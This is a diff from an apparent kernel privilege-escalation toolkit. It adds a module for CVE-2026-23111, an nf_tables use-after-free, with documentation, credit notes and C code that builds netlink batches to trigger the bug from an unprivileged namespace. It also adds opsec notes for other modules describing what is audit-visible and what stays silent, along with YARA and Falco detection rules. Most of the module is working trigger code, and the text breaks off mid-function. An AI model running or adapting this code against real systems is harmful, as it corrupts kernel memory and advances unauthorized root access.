+    .opsec_notes    = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + setsockopt(SOL_IP, IPT_SO_SET_REPLACE) with a malformed xt_entry_target to trigger xt_compat_target_to_user 4-byte OOB into kmalloc-2k. msg_msg + sk_buff cross-cache groom. Writes /tmp/skeletonkey-xtcompat.log (breadcrumb). Audit-visible via unshare + setsockopt(IPT_SO_SET_REPLACE) + msgsnd/msgrcv + sendmmsg(sk_buff spray). Dmesg silent on success; KASAN oops if the groom misses. Cleanup callback unlinks the log; IPC auto-drains on namespace exit.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_netfilter_xtcompat(void)

modules/nf_tables_cve_2024_1086/skeletonkey_modules.c

@@ -88,6 +88,7 @@
 #include <linux/netfilter.h>
 #include <linux/netfilter/nfnetlink.h>
 #include <linux/netfilter/nf_tables.h>
+#include "../../core/nft_compat.h"  /* shims for newer-kernel uapi constants */
 
 /* ------------------------------------------------------------------
  * Kernel-range table
@@ -95,7 +96,7 @@
 
 static const struct kernel_patched_from nf_tables_patched_branches[] = {
     {5,  4, 269},   /* 5.4.x */
-    {5, 10, 210},   /* 5.10.x */
+    {5, 10, 209},   /* 5.10.x (harmonised with Debian bullseye fix-version) */
     {5, 15, 149},   /* 5.15.x */
     {6,  1,  74},   /* 6.1.x */
     {6,  6,  13},   /* 6.6.x */
@@ -1123,6 +1124,35 @@ static const char nf_tables_sigma[] =
     "level: high\n"
     "tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n";
 
+static const char nf_tables_yara[] =
+    "rule nf_tables_cve_2024_1086 : cve_2024_1086 kernel_uaf\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2024-1086\"\n"
+    "        description = \"nf_tables verdict-init UAF breadcrumb log\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $log = \"/tmp/skeletonkey-nft_set_uaf.log\" ascii\n"
+    "    condition:\n"
+    "        $log\n"
+    "}\n";
+
+static const char nf_tables_falco[] =
+    "- rule: nf_tables verdict-init UAF batch by non-root\n"
+    "  desc: |\n"
+    "    Non-root sendmsg on NETLINK_NETFILTER inside a userns,\n"
+    "    delivering an nfnetlink batch with NEWTABLE + NEWCHAIN +\n"
+    "    NEWSET (verdict-key) + NEWSETELEM with malformed NFT_GOTO\n"
+    "    committed twice. CVE-2024-1086 nft_verdict_init double-free.\n"
+    "  condition: >\n"
+    "    evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    nfnetlink batch from non-root\n"
+    "    (user=%user.name pid=%proc.pid)\n"
+    "  priority: HIGH\n"
+    "  tags: [network, mitre_privilege_escalation, T1068, cve.2024.1086]\n";
+
 const struct skeletonkey_module nf_tables_module = {
     .name           = "nf_tables",
     .cve            = "CVE-2024-1086",
@@ -1135,8 +1165,10 @@ const struct skeletonkey_module nf_tables_module = {
     .cleanup        = NULL,
     .detect_auditd  = nf_tables_auditd,
     .detect_sigma   = nf_tables_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_yara    = nf_tables_yara,
+    .detect_falco   = nf_tables_falco,
+    .opsec_notes    = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE + NEWCHAIN/LOCAL_OUT + NEWSET verdict-key + NEWSETELEM malformed NFT_GOTO) committed twice to trigger the nft_verdict_init double-free. msg_msg cg-96 groom with forged pipapo_elem headers; --full-chain sprays kaddr-tagged forged elems and re-fires. Writes /tmp/skeletonkey-nft_set_uaf.log (conditional). Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg batches + msgget/msgsnd. Dmesg: KASAN double-free panic on vulnerable kernels; silent otherwise. Cleanup is finisher-gated; no persistent files on success.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_nf_tables(void)

modules/nft_catchall_cve_2026_23111/MODULE.md

@@ -0,0 +1,62 @@
+# nft_catchall — CVE-2026-23111
+
+An nf_tables use-after-free reachable from an unprivileged user: an
+inverted condition in `nft_map_catchall_activate()` mishandles catch-all
+map elements on transaction abort, freeing a chain that a catch-all GOTO
+verdict still references.
+
+## The bug
+
+nftables *maps* can hold a **catch-all** element — a default that matches
+when no other element does — and in a verdict map that element carries a
+GOTO/JUMP to a chain. `nft_map_catchall_activate()` runs during the
+**abort** phase of a netlink transaction to re-activate elements that a
+rolled-back batch had touched. A single inverted `!` makes it operate on
+*active* catch-all elements instead of skipping them, so the referenced
+chain's use-count is driven to zero; a subsequent `DELCHAIN` frees the
+chain while the catch-all verdict still points at it → **use-after-free**.
+
+Chaining a kernel-address leak, arbitrary R/W, and a ROP over
+`modprobe_path` / `selinux_state` turns the UAF into root — all reachable
+by an unprivileged user who has `CONFIG_USER_NS` to gain `CAP_NET_ADMIN`
+over a private network namespace.
+
+## Affected range
+
+| | |
+|---|---|
+| Vulnerable path introduced | ~5.13 (catch-all set elements) |
+| Fixed upstream | commit `f41c5d1…` (remove the inverted `!`) |
+| Debian backports | 6.1.164 (bookworm) · 6.12.73 (trixie) · 6.18.10 (forky·sid) |
+| Table thresholds | 6.1.164 · 6.12.73 · 6.18.10 (≤ Debian → drift-clean) |
+| NVD class | CWE-416 (Use After Free), CVSS 7.8 |
+| CISA KEV | no |
+
+The 5.10 (bullseye) branch is still unfixed at time of writing →
+version-only VULNERABLE there.
+
+## Trigger / detection
+
+`detect()` returns `OK` below ~5.13 or for patched kernels, `PRECOND_FAIL`
+when the kernel is vulnerable but unprivileged user-namespace clone is
+denied (exploit unreachable), and `VULNERABLE` when the version is in
+range and userns is allowed.
+
+`exploit()` forks an isolated child that enters `unshare(USER|NET)`, opens
+`NETLINK_NETFILTER`, builds a verdict map with a catch-all GOTO element,
+and sends an aborting batch to drive the abort-path UAF; it observes
+`nft_chain` / `kmalloc-cg-256` slabinfo and returns `EXPLOIT_FAIL`
+(primitive-only). The full leak + R/W + ROP root-pop is **not** bundled,
+and the trigger is reconstructed from public analysis, not VM-verified.
+
+## Fix / mitigation
+
+Upgrade the kernel. As a host hardening stopgap, deny unprivileged
+user-namespace clone (`sysctl kernel.unprivileged_userns_clone=0`, or the
+AppArmor `apparmor_restrict_unprivileged_userns` toggle) — that closes the
+unprivileged path even on a kernel-vulnerable host.
+
+## Credit
+
+Upstream fix `f41c5d1…`; public reproduction by FuzzingLabs. See
+`NOTICE.md`.

modules/nft_catchall_cve_2026_23111/NOTICE.md

@@ -0,0 +1,62 @@
+# NOTICE — nft_catchall (CVE-2026-23111)
+
+## Vulnerability
+
+**CVE-2026-23111** — a **use-after-free** in the Linux kernel `nf_tables`
+(netfilter) transaction-abort path. `nft_map_catchall_activate()` carries
+an **inverted condition** (a stray `!`): during a transaction *abort* it
+processes *active* catch-all set elements instead of skipping them. A
+catch-all element in an nftables **map** holds a verdict (GOTO/JUMP)
+referencing a chain; the wrong (de)activation drives the chain's
+use-count to zero, so a following `DELCHAIN` frees the chain while the
+catch-all verdict element still references it → UAF.
+
+From an **unprivileged** local user — via **user namespaces + nftables**
+(needs `CONFIG_USER_NS` + `CONFIG_NF_TABLES`) — the UAF is escalatable to
+root: leak a kernel address, obtain arbitrary R/W, ROP over
+`modprobe_path` / `selinux_state`.
+
+NVD class: **CWE-416** (Use After Free). CVSS v3.1 **7.8 HIGH**
+(`AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`). Affects current distros (Debian
+bookworm/trixie, Ubuntu 22.04/24.04). **Not** in CISA KEV.
+
+The fix removed a single character (the inverted `!`).
+
+## Research credit
+
+- **Fixed upstream** by commit
+  `f41c5d151078c5348271ffaf8e7410d96f2d82f8` ("netfilter: nf_tables: fix
+  … catch-all … activate"); reported and fixed through the Linux kernel
+  security process (NVD lists the source as `kernel.org`; no public
+  individual reporter name in the advisory).
+- **Public reproduction + analysis** by **FuzzingLabs** —
+  <https://fuzzinglabs.com/repro-cve-2026-23111/> — which the module's
+  trigger reconstruction is informed by.
+- Debian security tracker (authoritative backport versions):
+  <https://security-tracker.debian.org/tracker/CVE-2026-23111> —
+  bookworm 6.1.164 / trixie 6.12.73 / forky·sid 6.18.10 (bullseye/5.10
+  still unfixed at time of writing).
+
+All credit for finding and analysing this bug belongs to the upstream
+reporter and to FuzzingLabs for the public write-up. SKELETONKEY is the
+bundling and bookkeeping layer only.
+
+## SKELETONKEY role
+
+🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
+one more UAF in the corpus's most-covered subsystem (`nf_tables`,
+`nft_set_uaf`, `nft_payload`, `nft_pipapo`, …), shipped on the same
+contract as `nf_tables` (CVE-2024-1086): a fork-isolated trigger that
+fires the bug class and stops.
+
+`detect()` version-gates against the Debian backports above (upstream
+thresholds 6.1.164 / 6.12.73 / 6.18.10; catch-all set elements arrived in
+~5.13, so older kernels lack the path) **and** requires unprivileged
+user-namespace clone — a vulnerable kernel with userns locked down is
+`PRECOND_FAIL`. `exploit()` builds a verdict map with a catch-all GOTO
+element and provokes an aborting batch transaction to drive the
+abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL`. The
+per-kernel leak + arbitrary-R/W + `modprobe_path` ROP that lands a root
+shell is **not** bundled (per-build offsets refused), and the trigger is
+reconstructed from the public analysis rather than VM-verified — it never
+claims root it did not get.

modules/nft_catchall_cve_2026_23111/skeletonkey_modules.c

@@ -0,0 +1,589 @@
+/*
+ * nft_catchall_cve_2026_23111 — SKELETONKEY module
+ *
+ * CVE-2026-23111 — a use-after-free in the Linux kernel's nf_tables
+ * (netfilter) transaction-abort path. `nft_map_catchall_activate()`
+ * carries an inverted condition (a stray `!`): on transaction abort it
+ * processes *active* catch-all set elements instead of skipping them.
+ * A catch-all element in an nftables *map* holds a verdict (GOTO/JUMP)
+ * that references a chain; the wrong (de)activation lets the chain's
+ * use-count reach zero so a following DELCHAIN frees it while the
+ * catch-all verdict element still points at it → UAF. From an
+ * unprivileged user (via user namespaces + nftables) this is escalatable
+ * to root: leak a kernel address, win arbitrary R/W, ROP over
+ * modprobe_path / selinux_state.
+ *
+ * CWE-416 (Use After Free). CVSS 7.8 (AV:L/AC:L/PR:L/UI:N/C:H/I:H/A:H).
+ * Fixed upstream by commit f41c5d151078c5348271ffaf8e7410d96f2d82f8
+ * ("remove one exclamation mark"). Public reproduction + analysis by
+ * FuzzingLabs. NOT in CISA KEV.
+ *
+ * STATUS: 🟡 TRIGGER (reconstructed) — primitive-only, NOT VM-verified.
+ *   This is one more UAF in the most-covered subsystem in the corpus
+ *   (see nf_tables / nft_set_uaf / nft_payload / nft_pipapo / ...), and
+ *   like nf_tables (CVE-2024-1086) it is shipped as a fork-isolated
+ *   trigger that fires the bug class and STOPS. detect() version-gates
+ *   against the Debian-tracked backports below and additionally requires
+ *   unprivileged user-namespace clone (the bug is unreachable to an
+ *   unprivileged user without it). exploit() builds a map with a
+ *   catch-all GOTO element and provokes a failed (aborting) batch
+ *   transaction to drive the abort-path UAF, observes slabinfo, and
+ *   returns EXPLOIT_FAIL — the per-kernel leak + arbitrary-R/W + ROP that
+ *   lands a root shell is NOT bundled (per-build offsets refused), and
+ *   the trigger itself is reconstructed from the public analysis rather
+ *   than VM-verified. It never claims root it did not get.
+ *
+ * Affected range (Debian-tracked stable backports of the fix):
+ *   6.1.x  : K >= 6.1.164   (bookworm)
+ *   6.12.x : K >= 6.12.73   (trixie)
+ *   6.18.x : K >= 6.18.10   (forky / sid); 7.0+ inherits the fix
+ *   The 5.10 (bullseye) branch is still unfixed as of writing → version-
+ *   only VULNERABLE. Catch-all set elements were added in ~5.13, so the
+ *   vulnerable nft_map_catchall_activate path does not exist below that.
+ *
+ * Preconditions: CONFIG_NF_TABLES + CONFIG_USER_NS, and unprivileged
+ *   user-namespace clone permitted (modern Ubuntu's
+ *   apparmor_restrict_unprivileged_userns / a 0 sysctl closes this).
+ *
+ * arch_support: x86_64 (the groom + any future finisher are x86_64-tuned).
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdbool.h>
+#include <unistd.h>
+
+#ifdef __linux__
+
+#include "../../core/kernel_range.h"
+#include "../../core/host.h"
+
+#include <stdint.h>
+#include <sched.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <time.h>
+#include <sys/wait.h>
+#include <sys/socket.h>
+#include <sys/syscall.h>
+#include <arpa/inet.h>
+#include <linux/netlink.h>
+#include <linux/netfilter.h>
+#include <linux/netfilter/nfnetlink.h>
+#include <linux/netfilter/nf_tables.h>
+#include "../../core/nft_compat.h"  /* shims for newer-kernel uapi constants */
+
+/* Catch-all set-element flag — may be absent from older uapi headers. */
+#ifndef NFT_SET_ELEM_CATCHALL
+#define NFT_SET_ELEM_CATCHALL 0x2
+#endif
+
+/* ------------------------------------------------------------------
+ * Kernel-range table. Upstream-stable thresholds (<= the Debian
+ * package fixes, so the drift checker reports INFO, never TOO_TIGHT).
+ * security-tracker.debian.org is the source of record.
+ * ------------------------------------------------------------------ */
+static const struct kernel_patched_from nft_catchall_patched_branches[] = {
+    {6,  1, 164},   /* 6.1.x  (Debian bookworm fixed_version 6.1.164) */
+    {6, 12,  73},   /* 6.12.x (Debian trixie fixed_version 6.12.73) */
+    {6, 18,  10},   /* 6.18.x (Debian forky / sid fixed_version 6.18.10) */
+    /* 7.0+ inherits "patched" via the strictly-newer-than-all-entries
+     * rule — the fix predates the 7.0 branch. */
+};
+
+static const struct kernel_range nft_catchall_range = {
+    .patched_from = nft_catchall_patched_branches,
+    .n_patched_from = sizeof(nft_catchall_patched_branches) /
+                      sizeof(nft_catchall_patched_branches[0]),
+};
+
+static bool nf_tables_loaded(void)
+{
+    FILE *f = fopen("/proc/modules", "r");
+    if (!f) return false;
+    char line[512];
+    bool found = false;
+    while (fgets(line, sizeof line, f)) {
+        if (strncmp(line, "nf_tables ", 10) == 0) { found = true; break; }
+    }
+    fclose(f);
+    return found;
+}
+
+static skeletonkey_result_t nft_catchall_detect(const struct skeletonkey_ctx *ctx)
+{
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] nft_catchall: host fingerprint missing kernel "
+                            "version — bailing\n");
+        return SKELETONKEY_TEST_ERROR;
+    }
+
+    /* Catch-all set elements (and nft_map_catchall_activate) arrived in
+     * ~5.13. Below that the vulnerable path does not exist. */
+    if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 13, 0)) {
+        if (!ctx->json)
+            fprintf(stderr, "[i] nft_catchall: kernel %s predates catch-all set "
+                            "elements (~5.13) — vulnerable path absent\n",
+                    v->release);
+        return SKELETONKEY_OK;
+    }
+
+    if (kernel_range_is_patched(&nft_catchall_range, v)) {
+        if (!ctx->json)
+            fprintf(stderr, "[+] nft_catchall: kernel %s is patched\n", v->release);
+        return SKELETONKEY_OK;
+    }
+
+    bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
+    if (!ctx->json) {
+        fprintf(stderr, "[i] nft_catchall: kernel %s in vulnerable range\n",
+                v->release);
+        fprintf(stderr, "[i] nft_catchall: unprivileged user_ns clone: %s\n",
+                userns_ok ? "ALLOWED" : "DENIED");
+        fprintf(stderr, "[i] nft_catchall: nf_tables module loaded: %s\n",
+                nf_tables_loaded() ? "yes" : "no (autoloads on first nft use)");
+    }
+
+    if (!userns_ok) {
+        if (!ctx->json) {
+            fprintf(stderr, "[+] nft_catchall: kernel vulnerable but unprivileged "
+                            "user_ns clone denied → unprivileged exploit "
+                            "unreachable\n");
+            fprintf(stderr, "[i] nft_catchall: still patch — a privileged "
+                            "attacker can trigger the abort-path UAF\n");
+        }
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+
+    if (!ctx->json)
+        fprintf(stderr, "[!] nft_catchall: VULNERABLE — kernel in range AND "
+                        "unprivileged user_ns clone allowed\n");
+    return SKELETONKEY_VULNERABLE;
+}
+
+/* ------------------------------------------------------------------
+ * userns+netns entry: gain CAP_NET_ADMIN over a private netns so the
+ * malformed ruleset only touches our own namespace.
+ * ------------------------------------------------------------------ */
+static int enter_unpriv_namespaces(void)
+{
+    uid_t uid = getuid();
+    gid_t gid = getgid();
+    if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
+        perror("[-] unshare(USER|NET)");
+        return -1;
+    }
+    int f = open("/proc/self/setgroups", O_WRONLY);
+    if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
+    char map[64];
+    snprintf(map, sizeof map, "0 %u 1\n", uid);
+    f = open("/proc/self/uid_map", O_WRONLY);
+    if (f < 0 || write(f, map, strlen(map)) < 0) {
+        perror("[-] uid_map"); if (f >= 0) close(f); return -1;
+    }
+    close(f);
+    snprintf(map, sizeof map, "0 %u 1\n", gid);
+    f = open("/proc/self/gid_map", O_WRONLY);
+    if (f < 0 || write(f, map, strlen(map)) < 0) {
+        perror("[-] gid_map"); if (f >= 0) close(f); return -1;
+    }
+    close(f);
+    return 0;
+}
+
+/* ------------------------------------------------------------------
+ * Minimal dep-free nfnetlink batch builder (same approach as the
+ * nf_tables module — libnftnl validates our malformed input away).
+ * ------------------------------------------------------------------ */
+#define ALIGN_NL(x)  (((x) + 3) & ~3)
+
+static void put_attr(uint8_t *buf, size_t *off, uint16_t type,
+                     const void *data, size_t len)
+{
+    struct nlattr *na = (struct nlattr *)(buf + *off);
+    na->nla_type = type;
+    na->nla_len  = NLA_HDRLEN + len;
+    if (len) memcpy(buf + *off + NLA_HDRLEN, data, len);
+    *off += ALIGN_NL(NLA_HDRLEN + len);
+}
+static void put_attr_u32(uint8_t *buf, size_t *off, uint16_t type, uint32_t v)
+{
+    uint32_t be = htonl(v);
+    put_attr(buf, off, type, &be, sizeof be);
+}
+static void put_attr_str(uint8_t *buf, size_t *off, uint16_t type, const char *s)
+{
+    put_attr(buf, off, type, s, strlen(s) + 1);
+}
+static size_t begin_nest(uint8_t *buf, size_t *off, uint16_t type)
+{
+    size_t at = *off;
+    struct nlattr *na = (struct nlattr *)(buf + at);
+    na->nla_type = type | NLA_F_NESTED;
+    na->nla_len  = 0;
+    *off += NLA_HDRLEN;
+    return at;
+}
+static void end_nest(uint8_t *buf, size_t *off, size_t at)
+{
+    struct nlattr *na = (struct nlattr *)(buf + at);
+    na->nla_len = (uint16_t)(*off - at);
+    while ((*off) & 3) buf[(*off)++] = 0;
+}
+
+struct nfgenmsg_local { uint8_t nfgen_family; uint8_t version; uint16_t res_id; };
+
+static void put_nft_msg(uint8_t *buf, size_t *off, uint16_t nft_type,
+                        uint16_t flags, uint32_t seq, uint8_t family)
+{
+    struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + *off);
+    nlh->nlmsg_len   = 0;
+    nlh->nlmsg_type  = (NFNL_SUBSYS_NFTABLES << 8) | nft_type;
+    nlh->nlmsg_flags = NLM_F_REQUEST | flags;
+    nlh->nlmsg_seq   = seq;
+    nlh->nlmsg_pid   = 0;
+    *off += NLMSG_HDRLEN;
+    struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off);
+    nf->nfgen_family = family;
+    nf->version      = NFNETLINK_V0;
+    nf->res_id       = htons(0);
+    *off += sizeof(*nf);
+}
+static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
+{
+    struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + msg_start);
+    nlh->nlmsg_len = (uint32_t)(*off - msg_start);
+    while ((*off) & 3) buf[(*off)++] = 0;
+}
+static void put_batch_marker(uint8_t *buf, size_t *off, uint16_t type, uint32_t seq)
+{
+    size_t at = *off;
+    struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + at);
+    nlh->nlmsg_len   = 0;
+    nlh->nlmsg_type  = type;
+    nlh->nlmsg_flags = NLM_F_REQUEST;
+    nlh->nlmsg_seq   = seq;
+    nlh->nlmsg_pid   = 0;
+    *off += NLMSG_HDRLEN;
+    struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off);
+    nf->nfgen_family = AF_UNSPEC;
+    nf->version      = NFNETLINK_V0;
+    nf->res_id       = htons(NFNL_SUBSYS_NFTABLES);
+    *off += sizeof(*nf);
+    end_msg(buf, off, at);
+}
+
+static const char NFT_TABLE_NAME[] = "skeletonkey_t";
+static const char NFT_CHAIN_NAME[] = "skeletonkey_goto";  /* GOTO target chain */
+static const char NFT_MAP_NAME[]   = "skeletonkey_map";
+
+static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
+{
+    size_t at = *off;
+    put_nft_msg(buf, off, NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
+    put_attr_str(buf, off, NFTA_TABLE_NAME, NFT_TABLE_NAME);
+    end_msg(buf, off, at);
+}
+/* A regular (non-base) chain that the catch-all GOTO verdict references.
+ * Once the catch-all element is wrongly (de)activated on abort, this
+ * chain's use-count is mishandled and it can be freed while referenced. */
+static void put_new_chain(uint8_t *buf, size_t *off, uint32_t seq)
+{
+    size_t at = *off;
+    put_nft_msg(buf, off, NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
+    put_attr_str(buf, off, NFTA_CHAIN_TABLE, NFT_TABLE_NAME);
+    put_attr_str(buf, off, NFTA_CHAIN_NAME,  NFT_CHAIN_NAME);
+    end_msg(buf, off, at);
+}
+/* A verdict map (NFT_SET_MAP) whose data type is a verdict, so its
+ * elements (including the catch-all) carry GOTO/JUMP verdicts. */
+static void put_new_map(uint8_t *buf, size_t *off, uint32_t seq)
+{
+    size_t at = *off;
+    put_nft_msg(buf, off, NFT_MSG_NEWSET, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
+    put_attr_str(buf, off, NFTA_SET_TABLE, NFT_TABLE_NAME);
+    put_attr_str(buf, off, NFTA_SET_NAME,  NFT_MAP_NAME);
+    put_attr_u32(buf, off, NFTA_SET_FLAGS, NFT_SET_MAP);
+    put_attr_u32(buf, off, NFTA_SET_KEY_TYPE, 13);             /* ipv4_addr-ish */
+    put_attr_u32(buf, off, NFTA_SET_KEY_LEN,  sizeof(uint32_t));
+    put_attr_u32(buf, off, NFTA_SET_DATA_TYPE, 0xffffff00);    /* "verdict" magic */
+    put_attr_u32(buf, off, NFTA_SET_DATA_LEN,  sizeof(uint32_t));
+    put_attr_u32(buf, off, NFTA_SET_ID, 0x2026);
+    end_msg(buf, off, at);
+}
+/* Catch-all element (NFT_SET_ELEM_CATCHALL) whose data is a GOTO verdict
+ * to NFT_CHAIN_NAME. This is the element nft_map_catchall_activate
+ * mishandles on abort. */
+static void put_catchall_goto(uint8_t *buf, size_t *off, uint32_t seq)
+{
+    size_t at = *off;
+    put_nft_msg(buf, off, NFT_MSG_NEWSETELEM, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
+    put_attr_str(buf, off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
+    put_attr_str(buf, off, NFTA_SET_ELEM_LIST_SET,   NFT_MAP_NAME);
+    size_t list_at = begin_nest(buf, off, NFTA_SET_ELEM_LIST_ELEMENTS);
+    size_t el_at   = begin_nest(buf, off, 1 /* NFTA_LIST_ELEM */);
+    /* catch-all: no key, just the CATCHALL flag */
+    put_attr_u32(buf, off, NFTA_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL);
+    /* data = GOTO verdict referencing our chain by name */
+    size_t data_at = begin_nest(buf, off, NFTA_SET_ELEM_DATA);
+    size_t v_at    = begin_nest(buf, off, NFTA_DATA_VERDICT);
+    put_attr_u32(buf, off, NFTA_VERDICT_CODE, (uint32_t)NFT_GOTO);
+    put_attr_str(buf, off, NFTA_VERDICT_CHAIN, NFT_CHAIN_NAME);
+    end_nest(buf, off, v_at);
+    end_nest(buf, off, data_at);
+    end_nest(buf, off, el_at);
+    end_nest(buf, off, list_at);
+    end_msg(buf, off, at);
+}
+/* A deliberately-invalid message: references a set that does not exist,
+ * so the kernel rejects it and ABORTS the whole batch transaction —
+ * running the buggy nft_map_catchall_activate over the active catch-all
+ * element we just created. */
+static void put_aborting_op(uint8_t *buf, size_t *off, uint32_t seq)
+{
+    size_t at = *off;
+    put_nft_msg(buf, off, NFT_MSG_NEWSETELEM, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
+    put_attr_str(buf, off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
+    put_attr_str(buf, off, NFTA_SET_ELEM_LIST_SET,   "skeletonkey_nonexistent");
+    size_t list_at = begin_nest(buf, off, NFTA_SET_ELEM_LIST_ELEMENTS);
+    size_t el_at   = begin_nest(buf, off, 1);
+    put_attr_u32(buf, off, NFTA_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL);
+    end_nest(buf, off, el_at);
+    end_nest(buf, off, list_at);
+    end_msg(buf, off, at);
+}
+
+static int nft_send_batch(int sock, const void *buf, size_t len)
+{
+    struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
+    struct iovec iov = { .iov_base = (void *)buf, .iov_len = len };
+    struct msghdr m = {
+        .msg_name = &dst, .msg_namelen = sizeof dst,
+        .msg_iov = &iov,  .msg_iovlen = 1,
+    };
+    if (sendmsg(sock, &m, 0) < 0) { perror("[-] sendmsg"); return -1; }
+    char rbuf[8192];
+    for (int i = 0; i < 8; i++) {
+        ssize_t r = recv(sock, rbuf, sizeof rbuf, MSG_DONTWAIT);
+        if (r <= 0) break;
+    }
+    return 0;
+}
+
+static long slabinfo_active(const char *slab)
+{
+    FILE *f = fopen("/proc/slabinfo", "r");
+    if (!f) return -1;
+    char line[512];
+    long active = -1;
+    while (fgets(line, sizeof line, f)) {
+        if (strncmp(line, slab, strlen(slab)) == 0 && line[strlen(slab)] == ' ') {
+            long a;
+            if (sscanf(line + strlen(slab), " %ld", &a) == 1) active = a;
+            break;
+        }
+    }
+    fclose(f);
+    return active;
+}
+
+static skeletonkey_result_t nft_catchall_exploit(const struct skeletonkey_ctx *ctx)
+{
+    skeletonkey_result_t pre = nft_catchall_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
+        fprintf(stderr, "[-] nft_catchall: detect() says not vulnerable; refusing\n");
+        return pre;
+    }
+    bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
+    if (is_root) {
+        fprintf(stderr, "[i] nft_catchall: already running as root\n");
+        return SKELETONKEY_OK;
+    }
+
+    if (!ctx->json)
+        fprintf(stderr, "[*] nft_catchall: primitive-only run — builds a map with a "
+                        "catch-all GOTO element and provokes an aborting batch to "
+                        "drive the nft_map_catchall_activate UAF, then stops. The "
+                        "per-kernel leak + R/W + ROP root-pop is NOT bundled.\n");
+
+    /* Fork-isolated: a KASAN-enabled vulnerable kernel will panic on the
+     * double-handling; isolating means the dispatcher survives. */
+    pid_t child = fork();
+    if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
+
+    if (child == 0) {
+        if (enter_unpriv_namespaces() < 0) _exit(20);
+        int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
+        if (sock < 0) { perror("[-] socket(NETLINK_NETFILTER)"); _exit(21); }
+        struct sockaddr_nl src = { .nl_family = AF_NETLINK };
+        if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
+            perror("[-] bind"); close(sock); _exit(22);
+        }
+        int rcvbuf = 1 << 20;
+        setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
+
+        uint8_t *batch = calloc(1, 16 * 1024);
+        if (!batch) { close(sock); _exit(23); }
+        uint32_t seq = (uint32_t)time(NULL);
+
+        /* Batch 1 (commits): table + GOTO-target chain + verdict map +
+         * catch-all GOTO element. */
+        size_t off = 0;
+        put_batch_marker(batch, &off, NFNL_MSG_BATCH_BEGIN, seq++);
+        put_new_table(batch, &off, seq++);
+        put_new_chain(batch, &off, seq++);
+        put_new_map(batch, &off, seq++);
+        put_catchall_goto(batch, &off, seq++);
+        put_batch_marker(batch, &off, NFNL_MSG_BATCH_END, seq++);
+        if (!ctx->json)
+            fprintf(stderr, "[*] nft_catchall: sending setup batch (%zu bytes)\n", off);
+        if (nft_send_batch(sock, batch, off) < 0) {
+            free(batch); close(sock); _exit(24);
+        }
+
+        long before = slabinfo_active("nft_chain");
+        if (before < 0) before = slabinfo_active("kmalloc-cg-256");
+
+        /* Batch 2 (aborts): a valid DELCHAIN-ish operation alongside an
+         * invalid op so the whole transaction rolls back, running
+         * nft_map_catchall_activate over the active catch-all element. */
+        size_t off2 = 0;
+        put_batch_marker(batch, &off2, NFNL_MSG_BATCH_BEGIN, seq++);
+        put_catchall_goto(batch, &off2, seq++);   /* re-touch the catch-all elem */
+        put_aborting_op(batch, &off2, seq++);      /* invalid → abort the batch */
+        put_batch_marker(batch, &off2, NFNL_MSG_BATCH_END, seq++);
+        if (!ctx->json)
+            fprintf(stderr, "[*] nft_catchall: firing aborting batch (%zu bytes)\n", off2);
+        nft_send_batch(sock, batch, off2);
+        usleep(50 * 1000);
+
+        long after = slabinfo_active("nft_chain");
+        if (after < 0) after = slabinfo_active("kmalloc-cg-256");
+        if (!ctx->json)
+            fprintf(stderr, "[i] nft_catchall: nft_chain/cg-256 active: %ld → %ld\n",
+                    before, after);
+
+        free(batch);
+        close(sock);
+        _exit(100);   /* honest: trigger attempted, R/W not completed */
+    }
+
+    int status;
+    waitpid(child, &status, 0);
+    if (!WIFEXITED(status)) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] nft_catchall: child died by signal %d — the "
+                            "abort-path UAF likely fired (KASAN oops can manifest "
